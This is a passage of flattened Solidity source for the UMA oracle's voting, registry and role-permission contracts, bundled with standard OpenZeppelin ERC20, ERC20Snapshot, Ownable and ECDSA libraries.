getAllRegisteredContracts() external view override returns (address[] memory) { return registeredContracts; } /** * @notice checks if an address is a party of a contract. * @param party party to check. * @param contractAddress address to check against the party. * @return bool indicating if the address is a party of the contract. */ function isPartyMemberOfContract(address party, address contractAddress) public view override returns (bool) { uint256 index = partyMap[party].contractIndex[contractAddress]; return partyMap[party].contracts.length > index && partyMap[party].contracts[index] == contractAddress; } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ function _addPartyToContract(address party, address contractAddress) internal { require(!isPartyMemberOfContract(party, contractAddress), "Can only register a party once"); uint256 contractIndex = partyMap[party].contracts.length; partyMap[party].contracts.push(contractAddress); partyMap[party].contractIndex[contractAddress] = contractIndex; emit PartyAdded(contractAddress, party); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../../common/implementation/FixedPoint.sol"; /** * @title Computes vote results. * @dev The result is the mode of the added votes. Otherwise, the vote is unresolved. */ library ResultComputation { using FixedPoint for FixedPoint.Unsigned; /**************************************** * INTERNAL LIBRARY DATA STRUCTURE * ****************************************/ struct Data { // Maps price to number of tokens that voted for that price. mapping(int256 => FixedPoint.Unsigned) voteFrequency; // The total votes that have been added. FixedPoint.Unsigned totalVotes; // The price that is the current mode, i.e., the price with the highest frequency in `voteFrequency`. int256 currentMode; } /**************************************** * VOTING FUNCTIONS * ****************************************/ /** * @notice Adds a new vote to be used when computing the result. * @param data contains information to which the vote is applied. * @param votePrice value specified in the vote for the given `numberTokens`. * @param numberTokens number of tokens that voted on the `votePrice`. */ function addVote( Data storage data, int256 votePrice, FixedPoint.Unsigned memory numberTokens ) internal { data.totalVotes = data.totalVotes.add(numberTokens); data.voteFrequency[votePrice] = data.voteFrequency[votePrice].add(numberTokens); if ( votePrice != data.currentMode && data.voteFrequency[votePrice].isGreaterThan(data.voteFrequency[data.currentMode]) ) { data.currentMode = votePrice; } } /**************************************** * VOTING STATE GETTERS * ****************************************/ /** * @notice Returns whether the result is resolved, and if so, what value it resolved to. * @dev `price` should be ignored if `isResolved` is false. * @param data contains information against which the `minVoteThreshold` is applied. * @param minVoteThreshold min (exclusive) number of tokens that must have voted for the result to be valid. Can be * used to enforce a minimum voter participation rate, regardless of how the votes are distributed. * @return isResolved indicates if the price has been resolved correctly. * @return price the price that the dvm resolved to. */ function getResolvedPrice(Data storage data, FixedPoint.Unsigned memory minVoteThreshold) internal view returns (bool isResolved, int256 price) { FixedPoint.Unsigned memory modeThreshold = FixedPoint.fromUnscaledUint(50).div(100); if ( data.totalVotes.isGreaterThan(minVoteThreshold) && data.voteFrequency[data.currentMode].div(data.totalVotes).isGreaterThan(modeThreshold) ) { // `modeThreshold` and `minVoteThreshold` are exceeded, so the current mode is the resolved price. isResolved = true; price = data.currentMode; } else { isResolved = false; } } /** * @notice Checks whether a `voteHash` is considered correct. * @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`. * @param data contains information against which the `voteHash` is checked. * @param voteHash committed hash submitted by the voter. * @return bool true if the vote was correct. */ function wasVoteCorrect(Data storage data, bytes32 voteHash) internal view returns (bool) { return voteHash == keccak256(abi.encode(data.currentMode)); } /** * @notice Gets the total number of tokens whose votes are considered correct. * @dev Should only be called after a vote is resolved, i.e., via `getResolvedPrice`. * @param data contains all votes against which the correctly voted tokens are counted. * @return FixedPoint.Unsigned which indicates the frequency of the correctly voted tokens. */ function getTotalCorrectlyVotedTokens(Data storage data) internal view returns (FixedPoint.Unsigned memory) { return data.voteFrequency[data.currentMode]; } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../interfaces/VotingInterface.sol"; /** * @title Library to compute rounds and phases for an equal length commit-reveal voting cycle. */ library VoteTiming { using SafeMath for uint256; struct Data { uint256 phaseLength; } /** * @notice Initializes the data object. Sets the phase length based on the input. */ function init(Data storage data, uint256 phaseLength) internal { // This should have a require message but this results in an internal Solidity error. require(phaseLength > 0); data.phaseLength = phaseLength; } /** * @notice Computes the roundID based off the current time as floor(timestamp/roundLength). * @dev The round ID depends on the global timestamp but not on the lifetime of the system. * The consequence is that the initial round ID starts at an arbitrary number (that increments, as expected, for subsequent rounds) instead of zero or one. * @param data input data object. * @param currentTime input unix timestamp used to compute the current roundId. * @return roundId defined as a function of the currentTime and `phaseLength` from `data`. */ function computeCurrentRoundId(Data storage data, uint256 currentTime) internal view returns (uint256) { uint256 roundLength = data.phaseLength.mul(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER)); return currentTime.div(roundLength); } /** * @notice compute the round end time as a function of the round Id. * @param data input data object. * @param roundId uniquely identifies the current round. * @return timestamp unix time of when the current round will end. */ function computeRoundEndTime(Data storage data, uint256 roundId) internal view returns (uint256) { uint256 roundLength = data.phaseLength.mul(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER)); return roundLength.mul(roundId.add(1)); } /** * @notice Computes the current phase based only on the current time. * @param data input data object. * @param currentTime input unix timestamp used to compute the current roundId. * @return current voting phase based on current time and vote phases configuration. */ function computeCurrentPhase(Data storage data, uint256 currentTime) internal view returns (VotingAncillaryInterface.Phase) { // This employs some hacky casting. We could make this an if-statement if we're worried about type safety. return VotingAncillaryInterface.Phase( currentTime.div(data.phaseLength).mod(uint256(VotingAncillaryInterface.Phase.NUM_PHASES_PLACEHOLDER)) ); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "../../common/implementation/ExpandedERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Snapshot.sol"; /** * @title Ownership of this token allows a voter to respond to price requests. * @dev Supports snapshotting and allows the Oracle to mint new tokens as rewards. */ contract VotingToken is ExpandedERC20, ERC20Snapshot { /** * @notice Constructs the VotingToken. */ constructor() public ExpandedERC20("UMA Voting Token v1", "UMA", 18) {} /** * @notice Creates a new snapshot ID. * @return uint256 Thew new snapshot ID. */ function snapshot() external returns (uint256) { return _snapshot(); } // _transfer, _mint and _burn are ERC20 internal methods that are overridden by ERC20Snapshot, // therefore the compiler will complain that VotingToken must override these methods // because the two base classes (ERC20 and ERC20Snapshot) both define the same functions function _transfer( address from, address to, uint256 value ) internal override(ERC20, ERC20Snapshot) { super._transfer(from, to, value); } function _mint(address account, uint256 value) internal override(ERC20, ERC20Snapshot) { super._mint(account, value); } function _burn(address account, uint256 value) internal override(ERC20, ERC20Snapshot) { super._burn(account, value); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; /** * @title Stores common interface names used throughout the DVM by registration in the Finder. */ library OracleInterfaces { bytes32 public constant Oracle = "Oracle"; bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist"; bytes32 public constant Store = "Store"; bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin"; bytes32 public constant Registry = "Registry"; bytes32 public constant CollateralWhitelist = "CollateralWhitelist"; bytes32 public constant OptimisticOracle = "OptimisticOracle"; } pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.6.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; library Exclusive { struct RoleMembership { address member; } function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) { return roleMembership.member == memberToCheck; } function resetMember(RoleMembership storage roleMembership, address newMember) internal { require(newMember != address(0x0), "Cannot set an exclusive role to 0x0"); roleMembership.member = newMember; } function getMember(RoleMembership storage roleMembership) internal view returns (address) { return roleMembership.member; } function init(RoleMembership storage roleMembership, address initialMember) internal { resetMember(roleMembership, initialMember); } } library Shared { struct RoleMembership { mapping(address => bool) members; } function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) { return roleMembership.members[memberToCheck]; } function addMember(RoleMembership storage roleMembership, address memberToAdd) internal { require(memberToAdd != address(0x0), "Cannot add 0x0 to a shared role"); roleMembership.members[memberToAdd] = true; } function removeMember(RoleMembership storage roleMembership, address memberToRemove) internal { roleMembership.members[memberToRemove] = false; } function init(RoleMembership storage roleMembership, address[] memory initialMembers) internal { for (uint256 i = 0; i < initialMembers.length; i++) { addMember(roleMembership, initialMembers[i]); } } } /** * @title Base class to manage permissions for the derived class. */ abstract contract MultiRole { using Exclusive for Exclusive.RoleMembership; using Shared for Shared.RoleMembership; enum RoleType { Invalid, Exclusive, Shared } struct Role { uint256 managingRole; RoleType roleType; Exclusive.RoleMembership exclusiveRoleMembership; Shared.RoleMembership sharedRoleMembership; } mapping(uint256 => Role) private roles; event ResetExclusiveMember(uint256 indexed roleId, address indexed newMember, address indexed manager); event AddedSharedMember(uint256 indexed roleId, address indexed newMember, address indexed manager); event RemovedSharedMember(uint256 indexed roleId, address indexed oldMember, address indexed manager); /** * @notice Reverts unless the caller is a member of the specified roleId. */ modifier onlyRoleHolder(uint256 roleId) { require(holdsRole(roleId, msg.sender), "Sender does not hold required role"); _; } /** * @notice Reverts unless the caller is a member of the manager role for the specified roleId. */ modifier onlyRoleManager(uint256 roleId) { require(holdsRole(roles[roleId].managingRole, msg.sender), "Can only be called by a role manager"); _; } /** * @notice Reverts unless the roleId represents an initialized, exclusive roleId. */ modifier onlyExclusive(uint256 roleId) { require(roles[roleId].roleType == RoleType.Exclusive, "Must be called on an initialized Exclusive role"); _; } /** * @notice Reverts unless the roleId represents an initialized, shared roleId. */ modifier onlyShared(uint256 roleId) { require(roles[roleId].roleType == RoleType.Shared, "Must be called on an initialized Shared role"); _; } /** * @notice Whether `memberToCheck` is a member of roleId. * @dev Reverts if roleId does not correspond to an initialized role. * @param roleId the Role to check. * @param memberToCheck the address to check. * @return True if `memberToCheck` is a member of `roleId`. */ function holdsRole(uint256 roleId, address memberToCheck) public view returns (bool) { Role storage role = roles[roleId]; if (role.roleType == RoleType.Exclusive) { return role.exclusiveRoleMembership.isMember(memberToCheck); } else if (role.roleType == RoleType.Shared) { return role.sharedRoleMembership.isMember(memberToCheck); } revert("Invalid roleId"); } /** * @notice Changes the exclusive role holder of `roleId` to `newMember`. * @dev Reverts if the caller is not a member of the managing role for `roleId` or if `roleId` is not an * initialized, ExclusiveRole. * @param roleId the ExclusiveRole membership to modify. * @param newMember the new ExclusiveRole member. */ function resetMember(uint256 roleId, address newMember) public onlyExclusive(roleId) onlyRoleManager(roleId) { roles[roleId].exclusiveRoleMembership.resetMember(newMember); emit ResetExclusiveMember(roleId, newMember, msg.sender); } /** * @notice Gets the current holder of the exclusive role, `roleId`. * @dev Reverts if `roleId` does not represent an initialized, exclusive role. * @param roleId the ExclusiveRole membership to check. * @return the address of the current ExclusiveRole member. */ function getMember(uint256 roleId) public view onlyExclusive(roleId) returns (address) { return roles[roleId].exclusiveRoleMembership.getMember(); } /** * @notice Adds `newMember` to the shared role, `roleId`. * @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the * managing role for `roleId`. * @param roleId the SharedRole membership to modify. * @param newMember the new SharedRole member. */ function addMember(uint256 roleId, address newMember) public onlyShared(roleId) onlyRoleManager(roleId) { roles[roleId].sharedRoleMembership.addMember(newMember); emit AddedSharedMember(roleId, newMember, msg.sender); } /** * @notice Removes `memberToRemove` from the shared role, `roleId`. * @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the * managing role for `roleId`. * @param roleId the SharedRole membership to modify. * @param memberToRemove the current SharedRole member to remove. */ function removeMember(uint256 roleId, address memberToRemove) public onlyShared(roleId) onlyRoleManager(roleId) { roles[roleId].sharedRoleMembership.removeMember(memberToRemove); emit RemovedSharedMember(roleId, memberToRemove, msg.sender); } /** * @notice Removes caller from the role, `roleId`. * @dev Reverts if the caller is not a member of the role for `roleId` or if `roleId` is not an * initialized, SharedRole. * @param roleId the SharedRole membership to modify. */ function renounceMembership(uint256 roleId) public onlyShared(roleId) onlyRoleHolder(roleId) { roles[roleId].sharedRoleMembership.removeMember(msg.sender); emit RemovedSharedMember(roleId, msg.sender, msg.sender); } /** * @notice Reverts if `roleId` is not initialized. */ modifier onlyValidRole(uint256 roleId) { require(roles[roleId].roleType != RoleType.Invalid, "Attempted to use an invalid roleId"); _; } /** * @notice Reverts if `roleId` is initialized. */ modifier onlyInvalidRole(uint256 roleId) { require(roles[roleId].roleType == RoleType.Invalid, "Cannot use a pre-existing role"); _; } /** * @notice Internal method to initialize a shared role, `roleId`, which will be managed by `managingRoleId`. * `initialMembers` will be immediately added to the role. * @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already * initialized. */ function _createSharedRole( uint256 roleId, uint256 managingRoleId, address[] memory initialMembers ) internal onlyInvalidRole(roleId) { Role storage role = roles[roleId]; role.roleType = RoleType.Shared; role.managingRole = managingRoleId; role.sharedRoleMembership.init(initialMembers); require( roles[managingRoleId].roleType != RoleType.Invalid, "Attempted to use an invalid role to manage a shared role" ); } /** * @notice Internal method to initialize an exclusive role, `roleId`, which will be managed by `managingRoleId`. * `initialMember` will be immediately added to the role. * @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already * initialized. */ function _createExclusiveRole( uint256 roleId, uint256 managingRoleId, address initialMember ) internal onlyInvalidRole(roleId) { Role storage role = roles[roleId]; role.roleType = RoleType.Exclusive; role.managingRole = managingRoleId; role.exclusiveRoleMembership.init(initialMember); require( roles[managingRoleId].roleType != RoleType.Invalid, "Attempted to use an invalid role to manage an exclusive role" ); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /** * @title Interface for a registry of contracts and contract creators. */ interface RegistryInterface { /** * @notice Registers a new contract. * @dev Only authorized contract creators can call this method. * @param parties an array of addresses who become parties in the contract. * @param contractAddress defines the address of the deployed contract. */ function registerContract(address[] calldata parties, address contractAddress) external; /** * @notice Returns whether the contract has been registered with the registry. * @dev If it is registered, it is an authorized participant in the UMA system. * @param contractAddress address of the contract. * @return bool indicates whether the contract is registered. */ function isContractRegistered(address contractAddress) external view returns (bool); /** * @notice Returns a list of all contracts that are associated with a particular party. * @param party address of the party. * @return an array of the contracts the party is registered to. */ function getRegisteredContracts(address party) external view returns (address[] memory); /** * @notice Returns all registered contracts. * @return all registered contract addresses within the system. */ function getAllRegisteredContracts() external view returns (address[] memory); /** * @notice Adds a party to the calling contract. * @dev msg.sender must be the contract to which the party member is added. * @param party address to be added to the contract. */ function addPartyToContract(address party) external; /** * @notice Removes a party member to the calling contract. * @dev msg.sender must be the contract to which the party member is added. * @param party address to be removed from the contract. */ function removePartyFromContract(address party) external; /** * @notice checks if an address is a party in a contract. * @param party party to check. * @param contractAddress address to check against the party. * @return bool indicating if the address is a party of the contract. */ function isPartyMemberOfContract(address party, address contractAddress) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./MultiRole.sol"; import "../interfaces/ExpandedIERC20.sol"; /** * @title An ERC20 with permissioned burning and minting. The contract deployer will initially * be the owner who is capable of adding new roles. */ contract ExpandedERC20 is ExpandedIERC20, ERC20, MultiRole { enum Roles { // Can set the minter and burner. Owner, // Addresses that can mint new tokens. Minter, // Addresses that can burn tokens that address owns. Burner } /** * @notice Constructs the ExpandedERC20. * @param _tokenName The name which describes the new token. * @param _tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars. * @param _tokenDecimals The number of decimals to define token precision. */ constructor( string memory _tokenName, string memory _tokenSymbol, uint8 _tokenDecimals ) public ERC20(_tokenName, _tokenSymbol) { _setupDecimals(_tokenDecimals); _createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender); _createSharedRole(uint256(Roles.Minter), uint256(Roles.Owner), new address[](0)); _createSharedRole(uint256(Roles.Burner), uint256(Roles.Owner), new address[](0)); } /** * @dev Mints `value` tokens to `recipient`, returning true on success. * @param recipient address to mint to. * @param value amount of tokens to mint. * @return True if the mint succeeded, or False. */ function mint(address recipient, uint256 value) external override onlyRoleHolder(uint256(Roles.Minter)) returns (bool) { _mint(recipient, value); return true; } /** * @dev Burns `value` tokens owned by `msg.sender`. * @param value amount of tokens to burn. */ function burn(uint256 value) external override onlyRoleHolder(uint256(Roles.Burner)) { _burn(msg.sender, value); } /** * @notice Add Minter role to account. * @dev The caller must have the Owner role. * @param account The address to which the Minter role is added. */ function addMinter(address account) external virtual override { addMember(uint256(Roles.Minter), account); } /** * @notice Add Burner role to account. * @dev The caller must have the Owner role. * @param account The address to which the Burner role is added. */ function addBurner(address account) external virtual override { addMember(uint256(Roles.Burner), account); } /** * @notice Reset Owner role to account. * @dev The caller must have the Owner role. * @param account The new holder of the Owner role. */ function resetOwner(address account) external virtual override { resetMember(uint256(Roles.Owner), account); } } pragma solidity ^0.6.0; import "../../math/SafeMath.sol"; import "../../utils/Arrays.sol"; import "../../utils/Counters.sol"; import "./ERC20.sol"; /** * @dev This contract extends an ERC20 token with a snapshot mechanism. When a snapshot is created, the balances and * total supply at the time are recorded for later access. * * This can be used to safely create mechanisms based on token balances such as trustless dividends or weighted voting. * In naive implementations it's possible to perform a "double spend" attack by reusing the same balance from different * accounts. By using snapshots to calculate dividends or voting power, those attacks no longer apply. It can also be * used to create an efficient ERC20 forking mechanism. * * Snapshots are created by the internal {_snapshot} function, which will emit the {Snapshot} event and return a * snapshot id. To get the total supply at the time of a snapshot, call the function {totalSupplyAt} with the snapshot * id. To get the balance of an account at the time of a snapshot, call the {balanceOfAt} function with the snapshot id * and the account address. * * ==== Gas Costs * * Snapshots are efficient. Snapshot creation is _O(1)_. Retrieval of balances or total supply from a snapshot is _O(log * n)_ in the number of snapshots that have been created, although _n_ for a specific account will generally be much * smaller since identical balances in subsequent snapshots are stored as a single entry. * * There is a constant overhead for normal ERC20 transfers due to the additional snapshot bookkeeping. This overhead is * only significant for the first transfer that immediately follows a snapshot for a particular account. Subsequent * transfers will have normal cost until the next snapshot, and so on. */ abstract contract ERC20Snapshot is ERC20 { // Inspired by Jordi Baylina's MiniMeToken to record historical balances: // https://github.com/Giveth/minimd/blob/ea04d950eea153a04c51fa510b068b9dded390cb/contracts/MiniMeToken.sol using SafeMath for uint256; using Arrays for uint256[]; using Counters for Counters.Counter; // Snapshotted values have arrays of ids and the value corresponding to that id. These could be an array of a // Snapshot struct, but that would impede usage of functions that work on an array. struct Snapshots { uint256[] ids; uint256[] values; } mapping (address => Snapshots) private _accountBalanceSnapshots; Snapshots private _totalSupplySnapshots; // Snapshot ids increase monotonically, with the first value being 1. An id of 0 is invalid. Counters.Counter private _currentSnapshotId; /** * @dev Emitted by {_snapshot} when a snapshot identified by `id` is created. */ event Snapshot(uint256 id); /** * @dev Creates a new snapshot and returns its snapshot id. * * Emits a {Snapshot} event that contains the same id. * * {_snapshot} is `internal` and you have to decide how to expose it externally. Its usage may be restricted to a * set of accounts, for example using {AccessControl}, or it may be open to the public. * * [WARNING] * ==== * While an open way of calling {_snapshot} is required for certain trust minimization mechanisms such as forking, * you must consider that it can potentially be used by attackers in two ways. * * First, it can be used to increase the cost of retrieval of values from snapshots, although it will grow * logarithmically thus rendering this attack ineffective in the long term. Second, it can be used to target * specific accounts and increase the cost of ERC20 transfers for them, in the ways specified in the Gas Costs * section above. * * We haven't measured the actual numbers; if this is something you're interested in please reach out to us. * ==== */ function _snapshot() internal virtual returns (uint256) { _currentSnapshotId.increment(); uint256 currentId = _currentSnapshotId.current(); emit Snapshot(currentId); return currentId; } /** * @dev Retrieves the balance of `account` at the time `snapshotId` was created. */ function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) { (bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]); return snapshotted ? value : balanceOf(account); } /** * @dev Retrieves the total supply at the time `snapshotId` was created. */ function totalSupplyAt(uint256 snapshotId) public view returns(uint256) { (bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnapshots); return snapshotted ? value : totalSupply(); } // _transfer, _mint and _burn are the only functions where the balances are modified, so it is there that the // snapshots are updated. Note that the update happens _before_ the balance change, with the pre-modified value. // The same is true for the total supply and _mint and _burn. function _transfer(address from, address to, uint256 value) internal virtual override { _updateAccountSnapshot(from); _updateAccountSnapshot(to); super._transfer(from, to, value); } function _mint(address account, uint256 value) internal virtual override { _updateAccountSnapshot(account); _updateTotalSupplySnapshot(); super._mint(account, value); } function _burn(address account, uint256 value) internal virtual override { _updateAccountSnapshot(account); _updateTotalSupplySnapshot(); super._burn(account, value); } function _valueAt(uint256 snapshotId, Snapshots storage snapshots) private view returns (bool, uint256) { require(snapshotId > 0, "ERC20Snapshot: id is 0"); // solhint-disable-next-line max-line-length require(snapshotId <= _currentSnapshotId.current(), "ERC20Snapshot: nonexistent id"); // When a valid snapshot is queried, there are three possibilities: // a) The queried value was not modified after the snapshot was taken. Therefore, a snapshot entry was never // created for this id, and all stored snapshot ids are smaller than the requested one. The value that corresponds // to this id is the current one. // b) The queried value was modified after the snapshot was taken. Therefore, there will be an entry with the // requested id, and its value is the one to return. // c) More snapshots were created after the requested one, and the queried value was later modified. There will be // no entry for the requested id: the value that corresponds to it is that of the smallest snapshot id that is // larger than the requested one. // // In summary, we need to find an element in an array, returning the index of the smallest value that is larger if // it is not found, unless said value doesn't exist (e.g. when all values are smaller). Arrays.findUpperBound does // exactly this. uint256 index = snapshots.ids.findUpperBound(snapshotId); if (index == snapshots.ids.length) { return (false, 0); } else { return (true, snapshots.values[index]); } } function _updateAccountSnapshot(address account) private { _updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account)); } function _updateTotalSupplySnapshot() private { _updateSnapshot(_totalSupplySnapshots, totalSupply()); } function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private { uint256 currentId = _currentSnapshotId.current(); if (_lastSnapshotId(snapshots.ids) < currentId) { snapshots.ids.push(currentId); snapshots.values.push(currentValue); } } function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) { if (ids.length == 0) { return 0; } else { return ids[ids.length - 1]; } } } pragma solidity ^0.6.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` 